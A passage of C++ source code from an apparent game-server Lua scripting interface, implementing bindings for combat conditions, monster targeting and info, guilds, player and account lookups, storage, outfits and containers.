popNumber(L); PositionEx pos; popPosition(L, pos); uint32_t cid = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = NULL; if(cid) { if(!(creature = env->getCreatureByUID(cid))) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } } if(const Condition* condition = env->getConditionObject(conditionId)) { const CombatArea* area = env->getCombatArea(areaId); if(area || !areaId) { CombatParams params; params.effects.impact = effect; params.conditionList.push_back(condition); Combat::doCombatCondition(creature, pos, area, params); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_AREA_NOT_FOUND)); lua_pushboolean(L, false); } } else { errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoTargetCombatCondition(lua_State* L) { //doTargetCombatCondition(cid, target, condition, effect) MagicEffect_t effect = (MagicEffect_t)popNumber(L); uint32_t conditionId = popNumber(L), targetCid = popNumber(L), cid = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = NULL; if(cid) { if(!(creature = env->getCreatureByUID(cid))) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } } if(Creature* target = env->getCreatureByUID(targetCid)) { if(const Condition* condition = env->getConditionObject(conditionId)) { CombatParams params; params.effects.impact = effect; params.conditionList.push_back(condition); Combat::doCombatCondition(creature, target, params); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND)); lua_pushboolean(L, false); } } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoCombatAreaDispel(lua_State* L) { //doCombatAreaDispel(cid, pos, area, type, effect) MagicEffect_t effect = (MagicEffect_t)popNumber(L); ConditionType_t dispelType = (ConditionType_t)popNumber(L); uint32_t areaId = popNumber(L); PositionEx pos; popPosition(L, pos); uint32_t cid = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = NULL; if(cid) { if(!(creature = env->getCreatureByUID(cid))) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } } const CombatArea* area = env->getCombatArea(areaId); if(area || !areaId) { CombatParams params; params.effects.impact = effect; params.dispelType = dispelType; Combat::doCombatDispel(creature, pos, area, params); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_AREA_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoTargetCombatDispel(lua_State* L) { //doTargetCombatDispel(cid, target, type, effect) MagicEffect_t effect = (MagicEffect_t)popNumber(L); ConditionType_t dispelType = (ConditionType_t)popNumber(L); uint32_t targetCid = popNumber(L), cid = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = NULL; if(cid) { if(!(creature = env->getCreatureByUID(cid))) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } } if(Creature* target = env->getCreatureByUID(targetCid)) { CombatParams params; params.effects.impact = effect; params.dispelType = dispelType; Combat::doCombatDispel(creature, target, params); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoChallengeCreature(lua_State* L) { //doChallengeCreature(cid, target) ScriptEnviroment* env = getEnv(); uint32_t targetCid = popNumber(L); Creature* creature = env->getCreatureByUID(popNumber(L)); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Creature* target = env->getCreatureByUID(targetCid); if(!target) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } target->challengeCreature(creature); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoSummonMonster(lua_State* L) { //doSummonMonster(cid, name) std::string name = popString(L); ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(popNumber(L)); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } lua_pushnumber(L, g_game.placeSummon(creature, name)); return 1; } int32_t LuaScriptInterface::luaDoConvinceCreature(lua_State* L) { //doConvinceCreature(cid, target) uint32_t cid = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(popNumber(L)); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Creature* target = env->getCreatureByUID(cid); if(!target) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } target->convinceCreature(creature); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaGetMonsterTargetList(lua_State* L) { //getMonsterTargetList(cid) ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(popNumber(L)); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Monster* monster = creature->getMonster(); if(!monster) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } const CreatureList& targetList = monster->getTargetList(); CreatureList::const_iterator it = targetList.begin(); lua_newtable(L); for(uint32_t i = 1; it != targetList.end(); ++it, ++i) { if(monster->isTarget(*it)) { lua_pushnumber(L, i); lua_pushnumber(L, env->addThing(*it)); pushTable(L); } } return 1; } int32_t LuaScriptInterface::luaGetMonsterFriendList(lua_State* L) { //getMonsterFriendList(cid) ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(popNumber(L)); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Monster* monster = creature->getMonster(); if(!monster) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Creature* friendCreature; const CreatureList& friendList = monster->getFriendList(); CreatureList::const_iterator it = friendList.begin(); lua_newtable(L); for(uint32_t i = 1; it != friendList.end(); ++it, ++i) { friendCreature = (*it); if(!friendCreature->isRemoved() && friendCreature->getPosition().z == monster->getPosition().z) { lua_pushnumber(L, i); lua_pushnumber(L, env->addThing(*it)); pushTable(L); } } return 1; } int32_t LuaScriptInterface::luaDoMonsterSetTarget(lua_State* L) { //doMonsterSetTarget(cid, target) uint32_t targetId = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(popNumber(L)); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Monster* monster = creature->getMonster(); if(!monster) { errorEx(getError(LUA_ERROR_MONSTER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Creature* target = env->getCreatureByUID(targetId); if(!target) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(!monster->isSummon()) lua_pushboolean(L, monster->selectTarget(target)); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaDoMonsterChangeTarget(lua_State* L) { //doMonsterChangeTarget(cid) ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(popNumber(L)); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Monster* monster = creature->getMonster(); if(!monster) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(!monster->isSummon()) monster->searchTarget(TARGETSEARCH_RANDOM); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaGetMonsterInfo(lua_State* L) { //getMonsterInfo(name) const MonsterType* mType = g_monsters.getMonsterType(popString(L)); if(!mType) { errorEx(getError(LUA_ERROR_MONSTER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } lua_newtable(L); setField(L, "name", mType->name.c_str()); setField(L, "description", mType->nameDescription.c_str()); setField(L, "experience", mType->experience); setField(L, "health", mType->health); setField(L, "healthMax", mType->healthMax); setField(L, "manaCost", mType->manaCost); setField(L, "defense", mType->defense); setField(L, "armor", mType->armor); setField(L, "baseSpeed", mType->baseSpeed); setField(L, "lookCorpse", mType->lookCorpse); setField(L, "race", mType->race); setField(L, "skull", mType->skull); setField(L, "partyShield", mType->partyShield); setFieldBool(L, "summonable", mType->isSummonable); setFieldBool(L, "illusionable", mType->isIllusionable); setFieldBool(L, "convinceable", mType->isConvinceable); setFieldBool(L, "attackable", mType->isAttackable); setFieldBool(L, "hostile", mType->isHostile); createTable(L, "defenses"); SpellList::const_iterator it = mType->spellDefenseList.begin(); for(uint32_t i = 1; it != mType->spellDefenseList.end(); ++it, ++i) { createTable(L, i); setField(L, "speed", it->speed); setField(L, "chance", it->chance); setField(L, "range", it->range); setField(L, "minCombatValue", it->minCombatValue); setField(L, "maxCombatValue", it->maxCombatValue); setFieldBool(L, "isMelee", it->isMelee); pushTable(L); } pushTable(L); createTable(L, "attacks"); it = mType->spellAttackList.begin(); for(uint32_t i = 1; it != mType->spellAttackList.end(); ++it, ++i) { createTable(L, i); setField(L, "speed", it->speed); setField(L, "chance", it->chance); setField(L, "range", it->range); setField(L, "minCombatValue", it->minCombatValue); setField(L, "maxCombatValue", it->maxCombatValue); setFieldBool(L, "isMelee", it->isMelee); pushTable(L); } pushTable(L); createTable(L, "loot"); LootItems::const_iterator lit = mType->lootItems.begin(); for(uint32_t i = 1; lit != mType->lootItems.end(); ++lit, ++i) { createTable(L, i); if(lit->ids.size() > 1) { createTable(L, "ids"); std::vector<uint16_t>::const_iterator iit = lit->ids.begin(); for(uint32_t j = 1; iit != lit->ids.end(); ++iit, ++j) { lua_pushnumber(L, j); lua_pushnumber(L, (*iit)); pushTable(L); } pushTable(L); } else setField(L, "id", lit->ids[0]); setField(L, "count", lit->count); setField(L, "chance", lit->chance); setField(L, "subType", lit->subType); setField(L, "actionId", lit->actionId); setField(L, "uniqueId", lit->uniqueId); setField(L, "text", lit->text); if(lit->childLoot.size() > 0) { createTable(L, "child"); LootItems::const_iterator cit = lit->childLoot.begin(); for(uint32_t j = 1; cit != lit->childLoot.end(); ++cit, ++j) { createTable(L, j); if(cit->ids.size() > 1) { createTable(L, "ids"); std::vector<uint16_t>::const_iterator iit = cit->ids.begin(); for(uint32_t k = 1; iit != cit->ids.end(); ++iit, ++k) { lua_pushnumber(L, k); lua_pushnumber(L, (*iit)); pushTable(L); } pushTable(L); } else setField(L, "id", cit->ids[0]); setField(L, "count", cit->count); setField(L, "chance", cit->chance); setField(L, "subType", cit->subType); setField(L, "actionId", cit->actionId); setField(L, "uniqueId", cit->uniqueId); setField(L, "text", cit->text); pushTable(L); } pushTable(L); } pushTable(L); } pushTable(L); createTable(L, "summons"); SummonList::const_iterator sit = mType->summonList.begin(); for(uint32_t i = 1; sit != mType->summonList.end(); ++sit, ++i) { createTable(L, i); setField(L, "name", sit->name); setField(L, "chance", sit->chance); setField(L, "interval", sit->interval); setField(L, "amount", sit->amount); pushTable(L); } pushTable(L); return 1; } int32_t LuaScriptInterface::luaGetTalkActionList(lua_State* L) { //getTalkactionList() TalkActionsMap::const_iterator it = g_talkActions->getFirstTalk(); lua_newtable(L); for(uint32_t i = 1; it != g_talkActions->getLastTalk(); ++it, ++i) { createTable(L, i); setField(L, "words", it->first); setField(L, "access", it->second->getAccess()); setFieldBool(L, "log", it->second->isLogged()); setFieldBool(L, "hide", it->second->isHidden()); setField(L, "channel", it->second->getChannel()); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaGetExperienceStageList(lua_State* L) { //getExperienceStageList() if(!g_config.getBool(ConfigManager::EXPERIENCE_STAGES)) { lua_pushboolean(L, false); return true; } StageList::const_iterator it = g_game.getFirstStage(); lua_newtable(L); for(uint32_t i = 1; it != g_game.getLastStage(); ++it, ++i) { createTable(L, i); setField(L, "level", it->first); setFieldFloat(L, "multiplier", it->second); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaDoAddCondition(lua_State* L) { //doAddCondition(cid, condition) uint32_t conditionId = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(popNumber(L)); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Condition* condition = env->getConditionObject(conditionId); if(!condition) { errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND)); lua_pushboolean(L, false); return 1; } creature->addCondition(condition->clone()); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoRemoveCondition(lua_State* L) { //doRemoveCondition(cid, type[, subId]) uint32_t subId = 0; if(lua_gettop(L) > 2) subId = popNumber(L); ConditionType_t conditionType = (ConditionType_t)popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(popNumber(L)); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Condition* condition = creature->getCondition(conditionType, CONDITIONID_COMBAT, subId); if(!condition) condition = creature->getCondition(conditionType, CONDITIONID_DEFAULT, subId); if(condition) creature->removeCondition(condition); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaDoRemoveConditions(lua_State* L) { //doRemoveConditions(cid[, onlyPersistent]) bool onlyPersistent = true; if(lua_gettop(L) > 1) onlyPersistent = popNumber(L); ScriptEnviroment* env = getEnv(); Creature* creature = env->getCreatureByUID(popNumber(L)); if(!creature) { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); return 1; } creature->removeConditions(CONDITIONEND_ABORT, onlyPersistent); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaNumberToVariant(lua_State* L) { //numberToVariant(number) LuaVariant var; var.type = VARIANT_NUMBER; var.number = popNumber(L); LuaScriptInterface::pushVariant(L, var); return 1; } int32_t LuaScriptInterface::luaStringToVariant(lua_State* L) { //stringToVariant(string) LuaVariant var; var.type = VARIANT_STRING; var.text = popString(L); LuaScriptInterface::pushVariant(L, var); return 1; } int32_t LuaScriptInterface::luaPositionToVariant(lua_State* L) { //positionToVariant(pos) LuaVariant var; var.type = VARIANT_POSITION; popPosition(L, var.pos); LuaScriptInterface::pushVariant(L, var); return 1; } int32_t LuaScriptInterface::luaTargetPositionToVariant(lua_State* L) { //targetPositionToVariant(pos) LuaVariant var; var.type = VARIANT_TARGETPOSITION; popPosition(L, var.pos); LuaScriptInterface::pushVariant(L, var); return 1; } int32_t LuaScriptInterface::luaVariantToNumber(lua_State* L) { //variantToNumber(var) LuaVariant var = popVariant(L); uint32_t number = 0; if(var.type == VARIANT_NUMBER) number = var.number; lua_pushnumber(L, number); return 1; } int32_t LuaScriptInterface::luaVariantToString(lua_State* L) { //variantToString(var) LuaVariant var = popVariant(L); std::string text = ""; if(var.type == VARIANT_STRING) text = var.text; lua_pushstring(L, text.c_str()); return 1; } int32_t LuaScriptInterface::luaVariantToPosition(lua_State* L) { //luaVariantToPosition(var) LuaVariant var = popVariant(L); PositionEx pos(0, 0, 0, 0); if(var.type == VARIANT_POSITION || var.type == VARIANT_TARGETPOSITION) pos = var.pos; pushPosition(L, pos, pos.stackpos); return 1; } int32_t LuaScriptInterface::luaDoChangeSpeed(lua_State* L) { //doChangeSpeed(cid, delta) int32_t delta = (int32_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) { g_game.changeSpeed(creature, delta); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaSetCreatureOutfit(lua_State* L) { //doSetCreatureOutfit(cid, outfit, time) int32_t time = (int32_t)popNumber(L); Outfit_t outfit = popOutfit(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushboolean(L, Spell::CreateIllusion(creature, outfit, time) == RET_NOERROR); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetCreatureOutfit(lua_State* L) { //getCreatureOutfit(cid) ScriptEnviroment* env = getEnv(); if(const Creature* creature = env->getCreatureByUID(popNumber(L))) pushOutfit(L, creature->getCurrentOutfit()); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaSetMonsterOutfit(lua_State* L) { //doSetMonsterOutfit(cid, name, time) int32_t time = (int32_t)popNumber(L); std::string name = popString(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushboolean(L, Spell::CreateIllusion(creature, name, time) == RET_NOERROR); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaSetItemOutfit(lua_State* L) { //doSetItemOutfit(cid, item, time) int32_t time = (int32_t)popNumber(L); uint32_t item = (uint32_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushboolean(L, Spell::CreateIllusion(creature, item, time) == RET_NOERROR); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetStorage(lua_State* L) { //getStorage(key) ScriptEnviroment* env = getEnv(); std::string strValue; if(env->getStorage(popNumber(L), strValue)) { int32_t intValue = atoi(strValue.c_str()); if(intValue || strValue == "0") lua_pushnumber(L, intValue); else lua_pushstring(L, strValue.c_str()); } else lua_pushnumber(L, -1); return 1; } int32_t LuaScriptInterface::luaDoSetStorage(lua_State* L) { //doSetStorage(value, key) std::string value; bool nil = false; if(lua_isnil(L, -1)) { nil = true; lua_pop(L, 1); } else value = popString(L); ScriptEnviroment* env = getEnv(); if(!nil) env->setStorage(popNumber(L), value); else env->eraseStorage(popNumber(L)); lua_pushboolean(L, true); return 1; } int32_t LuaScriptInterface::luaGetPlayerDepotItems(lua_State* L) { //getPlayerDepotItems(cid, depotid) uint32_t depotid = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(const Depot* depot = player->getDepot(depotid, true)) lua_pushnumber(L, depot->getItemHoldingCount()); else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetGuildId(lua_State* L) { //doPlayerSetGuildId(cid, id) uint32_t id = popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { if(player->guildId) { player->leaveGuild(); if(!id) lua_pushboolean(L, true); else if(IOGuild::getInstance()->guildExists(id)) lua_pushboolean(L, IOGuild::getInstance()->joinGuild(player, id)); else lua_pushboolean(L, false); } else if(id && IOGuild::getInstance()->guildExists(id)) lua_pushboolean(L, IOGuild::getInstance()->joinGuild(player, id)); else lua_pushboolean(L, false); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetGuildLevel(lua_State* L) { //doPlayerSetGuildLevel(cid, level[, rank]) uint32_t rank = 0; if(lua_gettop(L) > 2) rank = popNumber(L); GuildLevel_t level = (GuildLevel_t)popNumber(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) lua_pushboolean(L, player->setGuildLevel(level, rank)); else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaDoPlayerSetGuildNick(lua_State* L) { //doPlayerSetGuildNick(cid, nick) std::string nick = popString(L); ScriptEnviroment* env = getEnv(); if(Player* player = env->getPlayerByUID(popNumber(L))) { player->setGuildNick(nick); lua_pushboolean(L, true); } else { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetGuildId(lua_State* L) { //getGuildId(guildName) uint32_t guildId; if(IOGuild::getInstance()->getGuildId(guildId, popString(L))) lua_pushnumber(L, guildId); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaGetGuildMotd(lua_State* L) { //getGuildMotd(guildId) uint32_t guildId = popNumber(L); if(IOGuild::getInstance()->guildExists(guildId)) lua_pushstring(L, IOGuild::getInstance()->getMotd(guildId).c_str()); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaDoMoveCreature(lua_State* L) { //doMoveCreature(cid, direction) uint32_t direction = popNumber(L); if(direction < NORTH || direction > NORTHEAST) { lua_pushboolean(L, false); return 1; } ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushnumber(L, g_game.internalMoveCreature(creature, (Direction)direction, FLAG_NOLIMIT)); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaIsCreature(lua_State* L) { //isCreature(cid) ScriptEnviroment* env = getEnv(); lua_pushboolean(L, env->getCreatureByUID(popNumber(L)) ? true : false); return 1; } int32_t LuaScriptInterface::luaIsContainer(lua_State* L) { //isContainer(uid) ScriptEnviroment* env = getEnv(); lua_pushboolean(L, env->getContainerByUID(popNumber(L)) ? true : false); return 1; } int32_t LuaScriptInterface::luaIsMovable(lua_State* L) { //isMovable(uid) ScriptEnviroment* env = getEnv(); Thing* thing = env->getThingByUID(popNumber(L)); if(thing && thing->isPushable()) lua_pushboolean(L, true); else lua_pushboolean(L, false); return 1; } int32_t LuaScriptInterface::luaGetCreatureByName(lua_State* L) { //getCreatureByName(name) ScriptEnviroment* env = getEnv(); if(Creature* creature = g_game.getCreatureByName(popString(L))) lua_pushnumber(L, env->addThing(creature)); else lua_pushnil(L); return 1; } int32_t LuaScriptInterface::luaGetPlayerByGUID(lua_State* L) { //getPlayerByGUID(guid) ScriptEnviroment* env = getEnv(); if(Player* player = g_game.getPlayerByGuid(popNumber(L))) lua_pushnumber(L, env->addThing(player)); else lua_pushnil(L); return 1; } int32_t LuaScriptInterface::luaGetPlayerByNameWildcard(lua_State* L) { //getPlayerByNameWildcard(name~[, ret = false]) Player* player = NULL; bool pushRet = false; if(lua_gettop(L) > 1) pushRet = popNumber(L); ScriptEnviroment* env = getEnv(); ReturnValue ret = g_game.getPlayerByNameWildcard(popString(L), player); if(ret == RET_NOERROR) lua_pushnumber(L, env->addThing(player)); else if(pushRet) lua_pushnumber(L, ret); else lua_pushnil(L); return 1; } int32_t LuaScriptInterface::luaGetPlayerGUIDByName(lua_State* L) { //getPlayerGUIDByName(name[, multiworld = false]) bool multiworld = false; if(lua_gettop(L) > 1) multiworld = popNumber(L); std::string name = popString(L); uint32_t guid; if(Player* player = g_game.getPlayerByName(name.c_str())) lua_pushnumber(L, player->getGUID()); else if(IOLoginData::getInstance()->getGuidByName(guid, name, multiworld)) lua_pushnumber(L, guid); else lua_pushnil(L); return 1; } int32_t LuaScriptInterface::luaGetPlayerNameByGUID(lua_State* L) { //getPlayerNameByGUID(guid[, multiworld = false[, displayError = true]]) int32_t parameters = lua_gettop(L); bool multiworld = false, displayError = true; if(parameters > 2) displayError = popNumber(L); if(parameters > 1) multiworld = popNumber(L); uint32_t guid = popNumber(L); std::string name; if(!IOLoginData::getInstance()->getNameByGuid(guid, name, multiworld)) { if(displayError) errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushnil(L); return 1; } lua_pushstring(L, name.c_str()); return 1; } int32_t LuaScriptInterface::luaGetPlayersByAccountId(lua_State* L) { //getPlayersByAccountId(accId) PlayerVector players = g_game.getPlayersByAccount(popNumber(L)); ScriptEnviroment* env = getEnv(); PlayerVector::iterator it = players.begin(); lua_newtable(L); for(uint32_t i = 1; it != players.end(); ++it, ++i) { lua_pushnumber(L, i); lua_pushnumber(L, env->addThing(*it)); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaGetIpByName(lua_State* L) { //getIpByName(name) std::string name = popString(L); if(Player* player = g_game.getPlayerByName(name)) lua_pushnumber(L, player->getIP()); else lua_pushnumber(L, IOLoginData::getInstance()->getLastIPByName(name)); return 1; } int32_t LuaScriptInterface::luaGetPlayersByIp(lua_State* L) { //getPlayersByIp(ip[, mask]) uint32_t mask = 0xFFFFFFFF; if(lua_gettop(L) > 1) mask = (uint32_t)popNumber(L); PlayerVector players = g_game.getPlayersByIP(popNumber(L), mask); ScriptEnviroment* env = getEnv(); PlayerVector::iterator it = players.begin(); lua_newtable(L); for(uint32_t i = 1; it != players.end(); ++it, ++i) { lua_pushnumber(L, i); lua_pushnumber(L, env->addThing(*it)); pushTable(L); } return 1; } int32_t LuaScriptInterface::luaGetAccountIdByName(lua_State* L) { //getAccountIdByName(name) std::string name = popString(L); if(Player* player = g_game.getPlayerByName(name)) lua_pushnumber(L, player->getAccount()); else lua_pushnumber(L, IOLoginData::getInstance()->getAccountIdByName(name)); return 1; } int32_t LuaScriptInterface::luaGetAccountByName(lua_State* L) { //getAccountByName(name) std::string name = popString(L); if(Player* player = g_game.getPlayerByName(name)) lua_pushstring(L, player->getAccountName().c_str()); else { std::string tmp; IOLoginData::getInstance()->getAccountName(IOLoginData::getInstance()->getAccountIdByName(name), tmp); lua_pushstring(L, tmp.c_str()); } return 1; } int32_t LuaScriptInterface::luaGetAccountIdByAccount(lua_State* L) { //getAccountIdByAccount(accName) uint32_t value = 0; IOLoginData::getInstance()->getAccountId(popString(L), value); lua_pushnumber(L, value); return 1; } int32_t LuaScriptInterface::luaGetAccountByAccountId(lua_State* L) { //getAccountByAccountId(accId) std::string value = 0; IOLoginData::getInstance()->getAccountName(popNumber(L), value); lua_pushstring(L, value.c_str()); return 1; } int32_t LuaScriptInterface::luaRegisterCreatureEvent(lua_State* L) { //registerCreatureEvent(cid, name) std::string name = popString(L); ScriptEnviroment* env = getEnv(); if(Creature* creature = env->getCreatureByUID(popNumber(L))) lua_pushboolean(L, creature->registerCreatureEvent(name)); else { errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetContainerSize(lua_State* L) { //getContainerSize(uid) ScriptEnviroment* env = getEnv(); if(Container* container = env->getContainerByUID(popNumber(L))) lua_pushnumber(L, container->size()); else { errorEx(getError(LUA_ERROR_CONTAINER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetContainerCap(lua_State* L) { //getContainerCap(uid) ScriptEnviroment* env = getEnv(); if(Container* container = env->getContainerByUID(popNumber(L))) lua_pushnumber(L, container->capacity()); else { errorEx(getError(LUA_ERROR_CONTAINER_NOT_FOUND)); lua_pushboolean(L, false); } return 1; } int32_t LuaScriptInterface::luaGetContainerItem(lua_State* L) { //getContainerItem(uid, slot) uint32_t slot = popNumber(L); ScriptEnviroment* env = getEnv(); if(Container* container = env->getContainerByUID(popNumber(L))) { if(Item* item = container->getItem(slot)) pushThing(L, item, env->addThing(item)); else pushThing(L, NULL, 0); } else { errorEx(getError(LUA_ERROR_CONTAINER_NOT_FOUND)); pushThing(L, NULL, 0); } return 1; } int32_t LuaScriptInterface::luaDoAddContainerItemEx(lua_State* L) { //doAddContainerItemEx(uid, virtuid) uint32_t virtuid = popNumber(L); ScriptEnviroment* env = getEnv(); if(Container* container = env->getContainerByUID(popNumber(L))) { Item* item = env->getItemByUID(virtuid); if(!item) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(item->getParent() != VirtualCylinder::virtualCylinder) { lua_pushboolean(L, false); return 1; } ReturnValue ret = g_game.internalAddItem(NULL, container, item); if(ret == RET_NOERROR) env->removeTempItem(item); lua_pushnumber(L, ret); return 1; } else { errorEx(getError(LUA_ERROR_CONTAINER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } } int32_t LuaScriptInterface::luaDoAddContainerItem(lua_State* L) { //doAddContainerItem(uid, itemid[, count/subType]) uint32_t count = 1; if(lua_gettop(L) > 2) count = popNumber(L); uint16_t itemId = popNumber(L); ScriptEnviroment* env = getEnv(); Container* container = env->getContainerByUID((uint32_t)popNumber(L)); if(!container) { errorEx(getError(LUA_ERROR_CONTAINER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } const ItemType& it = Item::items[itemId]; int32_t itemCount = 1, subType = 1; if(it.hasSubType()) { if(it.stackable) itemCount = (int32_t)std::ceil((float)count / 100); subType = count; } else itemCount = std::max((uint32_t)1, count); while(itemCount > 0) { int32_t stackCount = std::min(100, subType); Item* newItem = Item::CreateItem(itemId, stackCount); if(!newItem) { errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND)); lua_pushboolean(L, false); return 1; } if(it.stackable) subType -= stackCount; ReturnValue ret = g_game.internalAddItem(NULL, container, newItem); if(ret != RET_NOERROR) { delete newItem; lua_pushboolean(L, false); return 1; } --itemCount; if(itemCount) continue; if(newItem->getParent()) lua_pushnumber(L, env->addThing(newItem)); else //stackable item stacked with existing object, newItem will be released lua_pushnil(L); return 1; } lua_pushnil(L); return 1; } int32_t LuaScriptInterface::luaDoPlayerAddOutfit(lua_State *L) { //Consider using doPlayerAddOutfitId instead //doPlayerAddOutfit(cid, looktype, addon) uint32_t addon = popNumber(L), lookType = popNumber(L); ScriptEnviroment* env = getEnv(); Player* player = env->getPlayerByUID((uint32_t)popNumber(L)); if(!player) { errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND)); lua_pushboolean(L, false); return 1; } Outfit outfit; if(Outfits::getInstance()->getOutfit(lookType, outfit)) { 